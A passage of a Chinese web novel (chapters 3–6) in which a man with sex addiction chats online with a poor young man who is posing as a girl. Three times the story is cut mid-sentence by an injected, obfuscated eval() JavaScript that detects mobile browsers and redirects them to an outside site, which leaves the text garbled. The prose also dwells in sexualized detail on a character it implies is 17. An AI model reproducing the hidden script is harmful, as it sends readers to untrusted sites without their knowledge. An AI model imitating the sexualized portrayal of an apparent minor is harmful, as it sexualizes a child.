《你好,结婚吗?》 3. 第 3 章 江市。 江景上府。 谢长观按下停止键,擦着汗涔涔的脸,从跑步机上走下来,头发湿湿地流淌着汗串儿,臂膀上和脖颈上全是汗珠。 短袖短裤浸透汗水,紧紧贴在身上,厚实健硕的胸膛尽显,腰腹精窄,腹肌沟壑分明,肌肉线条恰到好处,充满力量感。 健身室剔透的水晶灯饰发出冷冽的亮光,浅蓝色的窗帘被分挂在两边,露出巨大的落地窗,放眼望去,城市的夜景尽收眼底。 谢长观在窗前的黑长沙发前停下,拿起遥控器,漫不经心的打开财经频道。 沙发里的手机屏幕骤然发亮,他微垂眸瞥去。 侧脸轮廓锋锐而清隽,电视屏幕的光芒反射在他的眼睛里,焦褐色的眼珠闪动着釉质的光辉。 谢长观一眼看到最顶端的消息推送,目光微微一顿。 宋娅的执行力倒是强,知道『探聊』无可挽救,果断的选择斩尾求生。 谢长观弯腰去拿手机解锁,准备清理掉消息,卸载『探聊』的APP——在得知宋娅来求合作,他让助理做了一份调查,还下载软件体验了一下。 平台限制的宽松,确实是它的优点,能吸引很多人,但除此之外,与市面上的大多数聊天娱乐APP,并没什么亮眼突出的区别。 “……!” 谢长观的手背肌肉忽然紧绷,英挺的剑眉蹙起,气息一下子变得粗沉。 他的手很好看,骨骼分明而修长有力,紧紧按在手机屏幕上,抓在沙发皮的手指用力,手背青筋暴突。 胯部以肉眼可见的速度膨胀,让原本宽松的短裤,一下子变得紧绷,勒得谢长观低沉的闷哼一声。 汗珠自额前滚落,他棱角分明的俊脸,下颌紧紧缩着,额角突突直跳,喘息一声比一声急促急躁,半阖着的眼底不知道有什么在拼命上浮,又被死死压制着。 体内的波涛一浪接一浪,沿着脊椎一路到脚底,又从脚底窜上心口。 他能明显感觉到身上像是烧起了一团火,酥骨痒意逐渐从身体深处蔓延至全身,所有神经都紧绷到极限! 谢长观闭了闭眼,喉头上下滚动了一下,不断深呼吸,快速走到客厅,拉开茶案侧面的抽屉。 里面放着很多小瓶的罐子,一层层铺满抽屉,上面没有任何标签,像是私人订制的。 谢长观取出一瓶,曲指拨开瓶塞,倒两颗在嘴里,下一刻,口腔里爆‖裂开浓郁的薄荷味。 咯嘣咯嘣—— 明显的碎裂声在客厅里响起。 薄荷冰凉刺激的清香直冲脑门,谢长观重重咀嚼着薄荷糖,有些失控的呼吸逐渐压抑住,紧攥的手指缓缓松开,指尖向内蜷缩,指骨微不可察的抽动着。 茶案上,手机屏幕还亮着,页面在不知何时误触,跳转到『探聊』的后台,一条私信跳跃进他的眼帘。 【哥哥,你玩游戏好厉害呀,可以问一下你有对象吗?】 头像是樱桃小丸子,昵称是奶黄菠萝包,像是个新号。 谢长观的手还在颤抖着,胸腔里还残留着未散的焦躁,蔓延到他的眼底。 他的眼皮很薄,在灯光下更显冷淡。 【帅到被通缉:我没有对象怎么了?】 【帅到被通缉:你有必要私信来取笑我吗?】 【帅到被通缉:有意思吗?】 【帅到被通缉:碍着你了?】 火药味十足的回复完毕,谢长观丢开手机,又往嘴里倒入一颗薄荷糖。 他薄唇紧抿,表情沉淡,抓过一条浴巾,大步走进浴室。 翻腾热水气在浴室中扩散,朦胧的水雾透过白色光线微微投射,形成一道道柔和的光束。 谢长观缓缓仰起头,任由热水浇在脸上,喉结下压时牵动侧脸的线条,荷尔蒙毕露。 — 街道上。 夜色已深,街边除了烧烤摊,几乎看不到什么行人了。 江岫往回走着,在路灯笼罩之下,他的周身似蒙着一层薄雾,微长的头发黑而软,贴着雪白的脖颈,带来些微的痒意。 听到手机的振动,他停下脚步,低下头看着一条条冒出来的消息。 “……” 9。 6翻了。 他表达的是这个意思吗? 江岫眨眨眼睛,长长的睫毛微微地颤动着,睫羽纤长卷翘,内勾外翘的眼型显得尤为惑人。 不过,心里倒是没有多少介意成分。 他确定了一件事:对方没有对象。 他假装与对方网恋,并不会伤害到一个无辜的女孩子。 江岫彻底放下心来,经过烧烤摊位之时,围站在周围的人纷纷望向他。 他们的眼神饱含着某种侵略性,简直就像有粘性似的,牢牢粘在他的身上,甩都甩不掉。 即使背对着,江岫依旧能感觉到那些人炙热的视线,始终锁定着他,像是随时会倾覆而下的岩浆,要把他彻底熔化。 江岫准备回复的心思刹那间歇下,下意识躲避众人聚集而来的目光,快步往回走。 穿过漆黑的巷子,回到单间里。 房间里的灯还没有关,江岫倒出水壶里余下的温水洗漱,余光不经意瞥到T恤衣摆上的一团深色水晕。 ——应该是他抱小猫去医院的途中,不小心沾到猫吐出的白沫。 江岫淡色的双唇平直地抿着,隐藏的唇珠又浅浅露出,蹲低着身,从床下拉出一个绿麻提袋。 提袋有些大,内里却干瘪下陷,没有装多少东西。 江岫从里面取出一件衣服,脱下身上的T恤,整日被包裹在宽大衣物下的躯体白得晃眼。 身体单薄苍白,长期营养不良而骨瘦嶙峋,背部蝴蝶骨明显的凸起,很快又笼罩进灰色的运动卫衣里。 卫衣比T恤短小很多,多处洗得发白,袖口、衣摆处清晰可见几个小破洞。 江岫将T恤泡进水盆里,又尽职尽责的去勾搭人。 他一条腿垂在床沿下,坐在床沿边,裤脚随着他的动作向上划去,露出一段细瘦白皙的脚踝,纤细得一用力就可以被人轻易禁锢在掌心里。 江岫的皮肤玉白紧致,触手温凉,特别适合大力搓玩。 【不是的,哥哥别误会,我是真的觉得哥哥很厉害】 【我很少玩这种娱乐平台,什么都不懂,哥哥能不能教教我呀?】 『探聊』的主页没法查看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234531|151395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用户注册时间,仅能从活跃度判断,江岫的小号很少用,活跃度很低,与新号根本看不出差别。 江岫等了一会儿,对方没有任何回应,那张秾丽白晳的脸逐渐染上疑惑。 江岫并不擅长勾搭人。 他在平台上接的单,目的性都很强,很少需要他费心思,哪怕是当陪聊,话头也多是顺着单主聊下去。 以男儿身装女号,去撩拨另一个男人,他是头一遭。 但是哄人,他还是会一些的。 江岫莹白的趾头蜷缩了一下,足背微微弯起,露出白皙曼妙的弧度。 【哥哥,你怎么不回我?】 【对不起,我的要求是不是唐突到哥哥了,我好自责啊】 【拜托哥哥别生气了嘛,你理理我好不好~】 【求求你啦,哥哥】 …… 然而,消息如泥牛入水,一一石沉大海。 江岫不解的瞄了一眼系统的在线提示,点在屏幕上的手指细长而柔软。 他轻轻咬住下唇,薄唇被咬得无比红润,一层湿润的水光让唇瓣变得红艳艳的,格外诱人。 有点难办。 对方好像不愿意理他。 江岫盯着对方的头像,考虑着要不要再发几条消息,微信里跳出一条好友申请提示。 江岫点进去一看,备注里写着:你好,我是安心宠物医院的医生封明,能加一下好友吗?方便医院随时告知你猫咪的恢复情况。 小猫前段时间出现在旧居民楼附近,江岫隔三差五喂它一点猫粮,多少有些感情。 想到后续还要交医药费,江岫没有拒绝。 封明的微信昵称很简单,单单一个封字,头像是医院的大门照片。 一加上好友,封明就发来一条视频。 江岫点开,是猫输液的录屏,黄白色的小家伙左前肢的毛被剃掉一部分,躺在铺着软垫的大铁笼里。 铁笼里放着猫砂盆与水,侧面挂着一小瓶药液,通过细长的透明管子,输送进猫的身体里。 【封:大概输半个小时。】 【封:后续一周,每天都会输上这样一瓶】 江岫仔仔细细看完视频,悬吊一路的心,落回肚子里。 【肉包子:谢谢。】 — 宠物医院。 封明单手插兜站在铁笼前,一副斯文沉稳的样子。 看着江岫的回复,他神情微舒,嘴角浮起一丝微不可察的笑意。 一双眼深深凝视江岫的头像,像盯住猎物的狼。 封明看了约两分钟,切换到同事的微信。 【封:院里为流浪猫绝育的活动的志愿者,你招到人员了吗?】 【同事:还没呢】 【同事:院长下午才和我聊过这件事,我正在发愁呢,准备明早值班,在门口贴上一个招聘广告,看看有没有人来应聘】 【同事:要是实在找不到人,只能我们自己找了】 【封:不用麻烦】 【同事:什么?】 【封:我这里有一个合适的人选】 【同事:谁?】 封明没有多解释,踱步走回办公室。 4. 第 4 章 江岫再切回『探聊』,谢长观的头像变成灰色,显示离线中。 倒是后台里多出数十条私信,江岫匆匆扫一眼,全是些不堪入目的秽语。 江岫习以为常。 他回回登录女小号,后台都会收到类似的私信,删都删不完。 所以,除非是接单需要,否则他不会使用小号。 旧居民楼外,老式路灯投下昏黄的光,藤蔓交杂的深处,传出一声声蟋蟀的窸窣。 单间内的灯光逐渐黯淡,江岫熟练的将谢长观的聊天框置顶,双眼安安静静的闭上,狭长的睫毛如同一把小扇子,盖下一片淡淡的阴影。 他的呼吸逐渐轻柔均匀,月光透过窗户洒在他身上,映照出他安详的睡颜,脸庞放松而平和。 — 次日。 狭窄的单人床上,圆圆的鼓起一团,几缕黑发从密不透风的被子下露出来。 少年整个人蜷缩在被窝里,慢吞吞的从里探出手,摸向放在床头的手机,眯着眼瞄了一眼时间。 09:12。 他正要缩回去,手指习惯性的往后滑了一下屏幕,余光瞥到『探聊』软件右上角多出一条新消息。 是回复他了吗? 江岫连忙在床上支起上半身,点进去APP,却是一个没见过的陌生ID。 对方顶着铜币样的头像。 【你的信用卡在海外消费了250万,这个是你本人的消费吗?】 『探聊』不联任何支付方式,不会有资金往来,骗子骗钱骗到平台来,是有多不专业。 江岫玉白的面庞晕着一点缺氧的浅红,泛着困意的双眸潋滟,雾气朦胧。 【不是。】 【骗子:可我们核对过身份证和名字,都是你本人】 骗子还挺有毅力。 他的卡里就剩39.7,哪来250万? 江岫揉了揉眼睛,忍着倦怠,认真的思考了两秒。 【那你能截个图给我吗?】 【骗子:干什么?】 【我想发朋友圈,让大家看看我的实力】 他长这么大,还没见过250万。 聊天页面的顶端『对方正在输入中』显示又消失,消失又显示。 下一刻,系统提示: —对方已离开— 这就跑了? 江岫不解的偏了偏头,柔顺的发丝从鬓边垂落下一些,墨线一样散慢地点在精致的锁骨上,唇薄鼻翘,一张脸蛋秾丽靡艳恍若食人精气的精魅。 明明是很平常的动作,被他做出来总是活色生香,带有一种天然的诱惑力。 江岫切回后台,昨晚乱七八糟的私聊都还在,他指尖下意识动了动,想要一键删除未读信息。 视线不经意瞟向置顶,头像仍旧是灰扑扑一片,一道灵光忽然划过脑海。 江岫两根细长手指同时按住电源键与音量键,将满屏的私信截图。 【早安啊,哥哥】 【哥哥要是不想教我,也没关系的,我没事的】 【不过,这些都是什么意思呀?】 【截图.jpg】 【总觉得……他们说的话好奇怪哦。】 — 江景上府。 琉璃时钟发出规则的转动,谢长观一身休闲,端坐在电脑前。 英挺鼻梁上架着一副无框眼镜,骨相俊美到毫无瑕疵,脸上透着一股冷峻之意。 同步的电脑微信上,助理在视频里尽职尽责的汇报着工作进度:“上一周提交的关于研发家庭辅助电子产品的方案,设计部已经画出初步的设计图,电子版我稍后发到谢总你的邮箱。” “『探聊』昨晚发布了永久关闭公告,昭卓已发出正式拒绝合作的通知。根据昭卓旗下的几款游戏特性,我重新筛选了几个匹配度较高的平台,到时候一并发到邮箱,请你过目。” …… 谢长观有一搭没一搭地听着,眼梢微微上挑,眸底深处透着几分漫不经心。 等助理汇报完毕,他切断视频,却没有立即去查看邮箱。 谢长观点开备注是『周医生』的人,发过去一个视频电话。 电话很快被接通,一个头发花白的老医生出现在谢长观的视野之中。 “周爷爷。”谢长观主动打招呼。 周祥坐在檀木椅中,他的面容温和慈祥,带着经过岁月洗礼的从容。 “又发病了?” 谢长观淡淡嗯了声,有些心不在焉的说明情况。 周祥捏着老花眼镜,往上抬了抬,精神烁烁的目光穿透屏幕落在谢长观身上。 谢长观坐得更挺直,他的眉头微微拧着,修长的手指紧紧捏着腕骨,被人观察的不适,让他不自觉将上半身轻微往后扬。 周祥有些好笑:“性‖瘾不是什么令人羞耻的病,你不必产生不良的抵触。” 所谓性‖瘾,通俗来说,就是多巴胺功能紊乱。 多巴胺负责大脑的感觉以及情‖欲,可传递兴奋与开心信息。多巴胺功能紊乱后大脑需要更多的多巴胺分泌才能得到满足,故而出现性‖爱成瘾的现象。 有些研究者认为遗传因素在性‖爱成瘾症的发展中起重要作用。 不过,谢长观的家里人,并没有人有性‖瘾。 那么,还剩下一种情况:谢长观可能天生就易于成瘾。 一两分钟,周祥摘下眼镜,语重心长道:“你的情况很正常,我从一开始就告诉过你,心理干预属于短期,治疗效果很有限,并不能完全控制病发。” 谢长观没有说话。 他心里都明白。 但是他不想服用药物,不论是什么药,都会有很多不良反应。 而让他去找一个人解决欲‖望,他又有严重的精神洁癖,所以他一直以来都是通过健身运动,消耗掉多余亢奋的精力。 谢长观洁身自好,从不观看任何不良影片,甚至连自给自足的次数都不多。 任他怎么都想不通,他为什么会有这样的病。 谢长观的面上多了几分微不可察的烦躁,皮肤在阳光下泛出大理石般冷调的白。 他的语调依旧没什么起伏:“还有什么方法能减缓病症吗?” 周祥沉默的沉思片刻:“你可以试试多一点社交,分散一些注意力,看看会不会有用。” 谢长观的眉头顷刻微微皱起,说实话,他对社交不太感兴趣。 一群人围在一起,谈论的无非是三点:拐弯抹角的炫耀自己,添油加醋的贬低别人,相互窥探的搬弄是非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234532|151395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 实在是无聊透顶。 周祥是专家,看过的病人不知繁几,能看不出谢长观在想什么? 他长长的叹出口气,做出妥协的退让:“不一定是要在线下,现在网络不是很发达嘛,线上的社交有异曲同工之妙。” 谢长观表情沉静,像是在判断思考,又像是在权衡利弊。 周祥没有打扰他,默默挂断视频。 叮叮—— 两声邮件提示音,打断谢长观的思绪。 谢长观往座椅里靠了靠,从无线充电上取下正在充电的手机。 工作的时候他会习惯性将手机静音,谢长观一解除静音,十数条消息,噼里啪啦的跳出来。 大多数还都是来自同一个人。 左一声哥哥,右一声哥哥的,隔着屏幕都能感觉到让人心软的蜜甜。 当看到最后一句,谢长观眸光微微一顿,他的视线彻底胶着不动。 谢长观骨节分明的长指微动,点开截图。 【孤独寂寞吗?】 【多少钱上门?】 【今晚想你可以打给你吗?】 【发个照片,看看腿】 【小妹妹,你哪里最敏‖感?】 …… 从上到下的私信充斥着呼之欲出淫‖秽,几乎没有一句能入目。 而屏幕有限,截图下段还冒着半截头像,显然没有截完整,像这样的私信不知还有多少。 这正是谢长观拒绝与『探聊』合作的主要原因——平台相关限制太松范,鱼龙混杂,什么样的人都有,对昭卓几乎没什么正面的影响。 谢长观垂下眼眸,破天荒的回复。 【帅到被通缉:都是傻B,不用理会】 【帅到被通缉:卸载『探聊』,要玩去其他地方】 — 单间里。 江岫正在看封明又一次发来的录屏,光线照在洗得发白的卫衣上,露在衣服外的肌肤白得生晕。 听到消息提示,他下意识瞥了一眼。 看到是熟悉的灰色动漫头像,他的眼瞳微微张大,浮出星星点点的碎光。 【好,都听哥哥的,谁都不理】 【但是……我没钱。】 【我听说这个平台能赚钱,好不容易找到的,不太想卸载】 赚钱? 谢长观盯着江岫的回复,指节有一下没一下的轻敲着桌面。 【帅到被通缉:你有多少岁?】 江岫卡了一下壳。 他接单的时候,单主并没有提到这一点,但是要网恋的话,年龄应该不能……太小? 江岫在他的实际年龄上加上一岁。 【实18,虚19,晃20,毛21,即22,快23,要24,将30,就31,马上奔40】 谢长观:“……” 【帅到被通缉:你是06年的,属相是属南孚的对嘛,一年更比六年强】 江岫心虚的抿了一下唇,雪白肌肤透出淡淡的粉。 他的这张脸无论何时都是极会蛊惑人心的,唇形也漂亮,眼底下的小痣随时散发着若有似无的蛊惑。 江岫连忙转移话题。 【哥哥多大啦?】 【帅到被通缉:还没退休。】 5.第 5 章 “……” 江岫猝不及防的呛咳了一下。 他稠丽的面容漫上一抹绯红,双唇微微张开,里面软红的舌肉颤动。 江岫尽职尽责找着话题。 【哥哥,我能不能不卸载啊。】 【我把这些人全部都删除可以吗?】 谢长观掀起眼皮看了一眼截图上的人,侧脸轮廓像是用炭笔勾出来似的,连带着猩红的唇形都显得冷淡。 【帅到被通缉:不全拉黑留着过年?】 『探聊』主打的就是聊天娱乐,不论是什么人,都能单方面发起聊天,哪怕是在主页里设下一些限制,也不过是系统屏蔽掉一些垃圾消息,作用并不明显。 后台里是有拉黑功能的,但是江岫基本没有用过。 江岫没有忘记最开始勾搭谢长观的时候,说过什么话。 【怎么拉黑啊?】 【我不懂。】 谢长观随意的靠在椅背上,脖颈线条利落流畅,喉结凸出而明显,看着很有距离感。 想到周祥的建议,他的目光停留在屏幕上。 【帅到被通缉:按照我说的步骤操作。】 做戏自然是要做全套。 居民楼外的阳光落在少年柔韧的身姿上,为他笼罩上一层淡淡的暖光,将他露出的半个侧脸更衬得如玉一般,好看的惊人。 江岫一键选定,将所有不堪入目的私信人拉黑,裁截下空空的后台页面图。 【截图.jpg】 【哥哥你看,我全都拉黑了】 【哥哥懂的好多呀,越来越崇拜你啦】 又是一句接一句甜甜的哥哥冒出来,字里行间都透着一股乖巧,令人不自觉的心软。 谢长观眉峰微微动了一下,镜片之后一双如幽潭般的焦褐眸子微垂,胸腔里淤积的烦躁莫名的消散了一些。 或许……不是不可以试一试。 性‖瘾在心理学和医学领域仍然是一个备受争议的领域,目前尚无一致的标准来独立诊断,也没有什么有效治疗的手段。 连医学与心理学双修的主任医师周祥,都仅能根据个体的症状、行为、心理和生活做出评估,给出一些建议。 连着勾搭两天,谢长观好不容易与他有了交流,江岫自是不会放任机会溜走。 他黑色半长发垂至单薄嶙峋的肩膀,身上萦绕着自内而出的勾缠幽香。 【哥哥,以后我有不懂的,还可以问你吗?】 谢长观慢条斯理地摘下眼镜,放在办公桌面的文件上,卸载『探聊』的念头暂且歇下。 【帅到被通缉:随你】 很多时候,没有明确的拒绝,便是一种默许。 【哥哥你真好~】 江岫的舌尖从口腔中伸出一点儿,轻轻地舔了一下自己的下唇。 他还想继续聊点什么,封明的消息忽然发了过来。 【封:你能来医院一趟吗?】 【封:小猫的状态不太对,你最好过来看看】 封明刚发给他的视频里,小猫看起来不是挺好的吗? 江岫眼波微转,流露出几分担忧。 他连忙将外衣往身上套,轻车熟路地拿过口罩、帽子戴上,额前的发丝垂落而下,面容立刻被遮挡了大半。 一身灰扑扑的旧装,不起眼到扔进人堆里就会找不到。 江岫急匆匆的出门去,一路冲跑向爱心宠物医院。 — 医院前台。 值班的医生正在记录宠物们的病例,听见推拉门打开的声音,下意识抬起头看去。 一道气喘吁吁的身影手扶着门把,走进医院里来。 “你找谁?”医生面露奇怪之色,视线上下移动打量着。 江岫仰头看他,长得遮眼的刘海随着动作微微朝两侧鬓角滑落,藏不住的肌肤剔透光滑,泛着上好的白瓷般色泽。 医生脸上的表情有些凝滞,正要再询问一遍。 “江岫?”温和磁性的声音从侧面传来。 封明一手疲惫地扶着后脖颈,转动了一下脖子,几个大跨步向江岫走过来。 “封医生。”前台的医生回过神来,主动打招呼。 封明似没听到一般,全程一个眼神都没有分给他,鹰一样的眼睛盯着江岫露出来的一点洁白额尖。 江岫手指不自觉地往内蜷缩着,成了一片诱人的水红,像是被过分灼热的目光重染出来的色泽。 封明曲指推了推鼻梁上的眼镜,隐藏住眼里的侵略性,俊朗的面孔露出一个温和无害的笑容。 “来看小猫的吧?跟我来。”问都没问江岫为什么打扮得这么奇怪。 江岫不动声色的在心里松出口气,抬步跟上封明。 封明领着江岫走到走廊最里面的一间房,房间宽敞干净,白炽灯投下一片明亮光影。 房里放着好几个大铁笼,一个笼里关着一只宠物,有猫有狗,品种不一。 见到陌生人进来,宠物们不安的发出低吠,又被封明轻声安抚住。 封明指着里面的一个铁笼,低头温声对江岫说道:“它在那里。” 江岫顺着望过去,铁笼靠着墙,小猫趴在铁栏前,嘴里不断发出细弱的叫唤。 放在它后面的水与奶,基本没怎么动。 认出是江岫,小猫跌跌撞撞的站起来,朝铁栏的缝隙挤,像是想要出来。 江岫怕它扯到腿上滞留的针,忙走在铁笼前蹲下。 “你可以摸摸它。”封明站到少年身后,居高临下的视线不紧不慢地在江岫宽大外衣囫囵盖住的身上巡视一圈。 “猫咪是很敏感的生物,尤其是流浪猫,警惕性尤其高。可能是不适应医院陌生的环境,显得有些不安恐惧,从录下视频发给你之后,就在不停的叫,喂它什么都不吃,对它的身体恢复很不利。” 江岫微微仰着头看向封明,天花板上的亮光让他的眼睛略微有些不适应。 他缓慢地眨了一下眼睛,上挑的长睫微颤。 下一刻,封明就看见一节白生生的手腕伸进笼中,落在白橘毛茸茸的脑袋上。 可能是太过紧张,手背微躬着,皮肤太过白皙,青筋都透了出来。 白橘停止叫唤,抬起前爪,歪着头直往江岫的手心蹭,亲昵欢喜之情毫不遮掩。 封明的呼吸渐渐加快,好像是一颗石子丢进湖里,激起一圈涟漪。 他沙哑着嗓音娓娓道:“对了,能帮我一个忙吗?” 封明高大的身躯微躬,朝着江岫倾身过去:“医院近期要举办免费为流浪猫们绝育的活动,需要招一个志愿者,帮忙找流浪猫。当然,是有报酬的,一天三百元。” 江岫并不喜欢去人多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253412|151395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方乱晃。 他口罩之下的唇抿了一下,不自在的往后退两步,拉开两人之间的距离。 “不好意思,封医生,我帮不上忙。” 封明的眼神瞬间变得深邃幽沉,他的脸背着光,很有压迫感。 不是缺钱么? 为什么要拒绝? “封医生——” 房门从外面被推开,值班医生一脸焦急的催促道:“刚收到一只蓝白,不明原因的抽搐吐白沫,你快去看看。” 封明侧头看了一眼门口,值班医生对上他那双眼睛,身体不由哆嗦了一下。 — 江岫一直在医院陪到小猫安睡过去。 封明正在手术室里忙碌,前台空无一人。江岫穿过前厅,走出医院。 天色不知何时变得昏沉,豆大般的雨滴密密麻麻的坠落,地面全是坑坑洼洼的水洼。 街道上的霓虹闪烁不定,行人如梭,交错的身影在灯光下显得特别匆忙。 江岫犹豫了下,素白的手压了压帽檐,冲进密集的雨帘之中。 冷风凛冽,裹挟着冰冷的雨水,直往身上扑打,顺着脖颈、手臂流进衣裳里。 江岫的身上晕开一团又一团的水晕,等他回到旧居民楼,他的外套浸透雨水,帽子完全湿透,帽檐滴滴答答的往下流淌着水串儿。 他整张脸都湿漉漉的,一部分纯黑的发丝都黏在了苍白面颊上,秾丽的五官极艳极稠,像是要送去祭祀的艳鬼。 江岫翻找出一套干净的衣服,拎抓着走进浴室,脱去湿淋淋的外套。 外套吸住了水,重重的掉在浴室的水泥地面上,灰白的卫衣也是湿哒哒的,连贴身的里衣都没能幸免。 他的下半身同样没能好到哪里去,黑长裤湿湿的垂在地上,浸透了里面的内裤。 纤薄的布料紧贴在皮肤上,透肉得很。 穿着湿润的衣服多少有些不舒服,江岫仔细地把内裤脱了下来。 内裤完全透了水,脱下来的时候还滴出一串水来。 江岫拧住内裤,挤出几滴水来,一股压都压不住的甜腻味儿在空气中散开。 江岫衣摆下面光着,曼妙曲线一直蔓延到浑圆的起伏处,腿根洇出湿痕。 他半阖着的眼皮抬起一点儿,对上镜子里的少年,眼睫水淋淋的湿着,眼尾冻出一丝殷红。 像是被谁欺负哭了。 — 江景上府。 健身室。 鬓角滚落的豆大汗珠滴在胸口,顺着分明的肌理滑落,在健硕的身躯上留下一道道水痕。 谢长观滚着喉结,压抑着低沉的粗喘,眼尾微微发红。 他饱满的、结实的胸膛,运动衣的布料被汗液浸湿,荷尔蒙几乎溢到汹涌而出,连带着手臂上的护腕都被汗液浸湿了一层,完全染上了男人的味道。 感受着胯部越来越明显的紧勒感,谢长观深吸几口气,气息已哑到极致,是一个男人生理层面上难言的焦渴和隐忍。 他面无表情地停下健身器材,拨开放在一侧的薄荷糖瓶盖,倒入嘴中。 一颗。 两颗。 …… 谢长观嘴里嘎嘣嘎嘣的咀嚼,手生出意识般,划开手机锁屏。 【帅到被通缉:在不在?】 【帅到被通缉:出来聊两句】 6.第 6 章 天际边乌云翻腾,雷鸣震耳。 雨势汹汹,伴着电闪雷鸣,大雨绵绵密密地、扑簌簌往下坠,不断的砸在窗沿上、窗玻璃上。 单间里。 低瓦数的白炽灯光线昏黄,投下朦朦胧胧的光晕。 听到消息提示音,江岫低下头看向屏幕,脖颈暴露出来,漆黑的发尾湿湿的搭在白皙的脖子上。 他的眼帘微微颤动着,纤长的睫毛战栗,眼底闪过一丝诧异。 ——原本他还计划着,在睡前找机会在谢长观的面前刷一刷存在感。 没想到对方居然会先主动找他。 江岫细白的指尖勾着湿内裤边缘,单手熟练的敲字,手指上浸着水,在屏幕上留下几点湿漉漉的水痕。 【只要是哥哥,随时都在哦】 【哥哥想要聊什么呀?】 谢长观后背仰靠在健身器的座椅上,脸上汗涔涔的,胳膊上的结实肌肉鼓胀。 他冷硬的下颌线紧紧绷着,重重咀嚼着嘴里的薄荷糖,脖子上的青筋突突地跳。 【帅到被通缉:随便说点什么】 【帅到被通缉:快一点】 这么着急吗? 江岫的手腕轻轻一抖,指尖勾着的湿内裤松开,掉落到盆里。 卫衣下面面质粗糙的白色短袖T恤,浸染了雨水,黏贴在他洁白的身躯上。 裸露在外的肌肤上覆盖着一层薄薄的水珠,更加显得皮肤白皙莹润。 胸前的一片也变得更加透明显眼,水珠顺着晃晃悠悠的滴落之时,给人的感觉就好像是从衣服里浸出来的一般。 江岫低垂着湿漉的艳丽眉眼,很认真的回复。 【我刚去了一趟外面,身上全都被雨淋湿了】 【但是看到哥哥的消息,一下子就感觉开心多了】 谢长观重喘出口气,侧头瞥了一眼落地窗外。 四面高高的墙壁在光滑地面上投下暗沉的阴影,高楼的露台下,城市的灯火如繁星般铺满眼前,与远处的车水马龙构成了一幅壮观的画卷。 看不到一点下雨的迹象。 【帅到被通缉:你那里下雨了?】 江岫全身上下散发着湿漉漉的气息,连眼角都水润润的。 雨水顺着白皙细腻的肌肤滑落,他摸到脖颈后,将濡湿的黑发撩开,换下浸水的T恤,又往放着干净衣服的支架抓去。 下一刻,他的手在半空中微微一顿。 衣架上少了一样东西。 他好像……忘了拿更换的内裤。 ——要想拿干净的内裤,就要走出浴室,去床下的绿麻提袋里取。 而他此刻衣服几乎脱完,全身上下仅剩下一件刚换上的T恤。 T恤不长不短,堪堪遮住腿根。 江岫单手抓着宽大的衣摆,一时间有些犹豫,把自己的嘴唇无意识地咬来咬去。 上唇上的唇珠浅浅露出,牙齿在红润的唇肉上留下一点儿白印,松开之后,唇瓣又迅速恢复原状。 只是留下一点儿亮晶晶的水痕。 谢长观喉结滚动,囫囵吞咽下糖,黑色的发丝潮湿地沾在脸颊边,紧皱的眉心拧成疙瘩。 他等了几秒,没等到回复,忍不住发出催促。 【帅到被通缉:说话】 【帅到被通缉:不要停】 滴滴的提示音,拉回江岫的思绪。 江岫的双腿纤长白皙,他的体毛很稀疏,两条腿又白又直,像两根白玉做的竹子,昏昧的灯光投照在微躬的脚背上,散着莹润的光芒。 他的两条腿动了起来,轻巧地走到单人床前,从床下抽出一条干净的白色三角内裤。 内裤很薄,样式与湿掉的那一条一模一样。 江岫快速瞄了一眼,抓着内裤,匆匆缩回浴室里。 【对,很大的雨】 【外面电闪雷鸣,四周一片黑漆漆,总觉得有点渗人】 谢长观一双犹如困兽的眼眸注视着手机屏幕,无处发泄与难以压抑的渴盼,都化成眼底激流的滚烫岩浆。 露台外夜风阵阵,健身室里却像是蒸笼一样,闷热得人喘不过气。 一股股热浪从体内扑腾着往上涌,窗外吹进来的风仿佛都带着一股热意。 汗水密密麻麻的从额头渗出来,瓢泼似的顺着脸流下,汗渍浸得他眼皮子疼。 他的脖颈、背部全是汗,湿滑黏腻。 【帅到被通缉:害怕?】 怕倒是不怕。 江岫基本都是一个人生活,打雷闪电等恶劣天气,对他来说司空见惯。 潮冷的空气在单间里流动着,直往他光溜的腿间钻。 江岫膝盖下意识朝里并拢绞紧,耳尖升上一点红,像是胭脂一样地晕染着,连带着脸上那点不自在的神情都很蛊人。 他单手扶着洗手台边沿,稍微踮起脚尖,抬起一条腿,穿进内裤。 腰身微微上抬,又白又细。 穿好内裤,江岫的腰又放了下去,脚踩在拖鞋鞋面上,展露出细瘦的脚踝。 【是有一点点怕】 【哥哥你呢,在干什么呀?】 谢长观穿着运动的背心和短裤,常年高强度的健身让他的身材十分高大壮硕,背心根本遮不住他发达的胸肌,撑得本来宽大的背心都鼓鼓囊囊。 